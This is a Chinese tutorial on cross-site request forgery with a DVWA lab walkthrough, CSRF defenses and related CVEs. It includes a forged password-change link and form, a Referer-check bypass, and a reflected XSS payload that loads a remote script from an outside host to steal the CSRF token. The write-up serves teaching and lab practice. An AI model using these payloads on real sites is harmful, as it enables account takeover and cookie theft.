1.什么是CSRF?
CSRF(Cross-Site Request Forgery),跨站请求伪造,可以理解为攻击者盗取A用户身份,进行非法操作,使用A用户的账户发送邮件,获取敏感信息等。而CSRF攻击是建立在会话上的。攻击者了解URL的参数项后构造POC,诱导用户访问。所以CSRF攻击有个前提,用户A登录受信任网站,并生成Cookie。并且在登录状态下,访问另一个网站B。
CSRF与XSS的区别
(1)XSS主要利用用户对站点的信任,CSRF主要是利用站点对已知身份认证的信任
(2)XSS是用户自己点击链接来访问相应的网页的,CSRF是在用户并不知情的情况下来提交请求的
常见的CSRF方式
<img>、<iframe>、<script>等标签,js方法(如image对象、XMLHTTP对象)
2. DVWA CSRF实践
(1)low模式
在low模式下,可以修改密码,以密码修改为123为例,修改密码后发现url连接变为如下连接:
http://localhost/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
根据CSRF原理,如果A用户处于登录状态,我们给A用户发送邮件,将上述连接发给A。攻击者在邮箱中插入连接,标题名用于引诱A用户点击。当A点击后,用户登录DVWA的密码即被更改。在实验过程中,一开始没有登录,发现点击链接后,用户登录密码并没有变化,然后意识到是因为未登录导致的,也应证了CSRF需要建立在会话上进行攻击的前提。如果实验还没成功,可能是因为攻击者与用户A所处的DVWA的难度等级不同。
当链接名称看起来问题比较明显时,可以通过变成短链接的方式,隐藏URL。
短链接生成
或者触发脚本,脚本内容如下:
<form action="http://Ip/DVWA/vulnerabilities/csrf/?" id="change-passwd" method="get">
<input type="password" name="password_new" value=""/>
<input type="password" name="password_conf" value=""/>
<input type="change" name="Change" value="Change">
<input type="submit" name="submit" value="submit"/>
</form>
同样,如果本题是post模式,也可以用脚本方式来解决。
(2)medium模式
进入medium模式,发现密码依旧可以直接重置,但是当我们发邮件使A用户触发更改密码时,显示,That request didn't look correct,分析代码可知,medium模式添加了验证请求头部的来源地址(Referer),来源地址与服务器地址一致才能修改密码,而从邮箱或者其他网站点击过来是不能进行修改的。
//low
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
//medium
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];}
//high
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
通过代码可以看到,来源地址判断是通过stripos() 函数,该函数的作用是查找字符串在另一字符串中第一次出现的位置(不区分大小写)。另外,stripos() 函数不区分大小写。为满足不等于false的条件,需要在HTTP_REFERER中包含SERVER_NAME的内容。
假设服务器地址是http://192.168.1.11/,那么我们的SERVER_NAME,即我们构造的链接中需要包含192.168.1.11。那么可以将脚本名命名为192.168.3.11.html来绕过,或者是其他该名称的php/js等脚本。
(3)high模式
在high模式下,可以看到添加了token验证,文章开头提到过,CSRF攻击源于所有参数都可以被猜到,如果加入token,无法猜测,便很难被攻击。token是在HTTP请求中以参数的形式加入一个随机产生的请求令牌,在服务器端对其进行验证。token一般被保存在session中,用户登录发送请求时,这个字符串会被服务器进行验证。那么想要进行攻击,就需要获取要攻击页面的cookie。假设我们自己的服务器地址为http://192.168.2.11/dvwa/vulnerabilities/csrf,而我们要攻击的页面为10.4.1.22上,两者的域名不同,根据同源策略,域名B下的所有页面都不允许主动获取域名A下的页面内容,所以自己服务器上的攻击脚本是不可能取到改密界面中的user_token。因为无法跨域,那我们就要把攻击代码注入到目标服务器中。所以需要该服务器上的XSS攻击辅助。
[http://192.168.3.99:8085/DVWA/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)](http://192.168.3.99:8085/DVWA/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s))
(4)impossible模式
impossible会要求检查原密码,即使存在 XSS 漏洞也需要知道原密码才能修改,而且代码中用了 $db->prepare 的写法防止 SQL 的注入
3. XSS与CSRF相结合
(1)通过CSRF利用SELF-XSS
如果一个XSS只能自己利用,比如个人信息修改页面。 但是这个别人是无法看到也无法访问的,一般很难利用。但是如果网站存在CSRF漏洞,可以利用CSRF来修改用户在网上的信息为XSS payload,然后在攻击者制造的攻击页面B中写入CSRF payload。诱惑用户访问页面B,触发CSRF payload,用户在网站的信息被修改为XSS payload,用户重新访问页面时,便会触发XSS,自己的cookie被发送。攻击页面B可以是我们自己建立的,也可以是某些存在XSS漏洞的大型网站,通常大型网站更容易受信任。这些大型网站如果设置了HTTP-ONLY会导致攻击者无法拿到Cookie,又不好做其他操作。但是用来做攻击其他网站的跳板却是无法防范的。
(2)通过XSS窃取CSRF所需的Token
在high模式中可以看到,生成一个随机Token是CSRF常用防御手段。在页面涉及到表单时,会在服务器端生成一个Token,在页面加载时创建一个值为Token的input,插入到表单中,并设置type=”hidden“隐藏。当提交表单时,会将这个Token值一起提交。服务器端验证这个Token是否正确,如果不正确就会drop此次请求。理论上讲,只要获取目标页面Token的值,就可以绕过防御。但由于同源策略,发起攻击的网站B不能读取被攻击的网站A的内容,只能够对其发送请求。因此攻击者是无法获取Token值的,CSRF攻击无法实施。但当目标网站有一个XSS漏洞时,我们便可以先发送一次请求,通过JS的跨域方法绕过同源策略,比如使用window.name来跨域窃取Token值,再带上Token值发送请求,完成CSRF攻击。
4. 常见的CSRF防御方法
根据DVWA CSRF实践中的题目,我们也可以看到常见的CARF防御方法有以下几种,这里多一种验证码方式,这样在get/post数据时不会自动提交,需要验证。
(1)使用POST代替GET
(2)校验HTTP referrer
(3)使用验证码/二次确认
(4)使用token(cookie token、HTTP请求加token、一次性token)
a)cookie token
http://www.mybank.com/Transfer.php?toBankId=**&money=**&token=tokenvalue
<input type=“hiden”name=“token”value=“tokenvalue”>
在这种方式下, 如果网站存在XSS漏洞,攻击者可以通过js得到表单中的token值。
b)HTTP请求中加入token
在http头部定义一个属性,将token置于其中。但是此方法开销较大。
c)一次性token
每一个表单包含不同的伪随机值
<?php
function gen_token(){
$token=md5(uniqid(rand(),ture));
return $token;
}
?>
5. CSRF相关漏洞
(1)CVE-2019-6249 HucartCMS CSRF漏洞
https://cloud.tencent.com/developer/article/1512561
(2)CVE-2019-12922 phpMyAdmin CSRF漏洞
https://mumuka.gitee.io/passages/CVE-2019-12922%20phpMyAdmin%20CSRF%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
(3)CVE-2016-7401 Django CSRF漏洞
https://blog.knownsec.com/2016/10/django-csrf-bypass_cve-2016-7401/
(4)CVE-2012-1936 WordPress 3.3.1版本 CSRF漏洞
https://segmentfault.com/a/1190000006963312
网友评论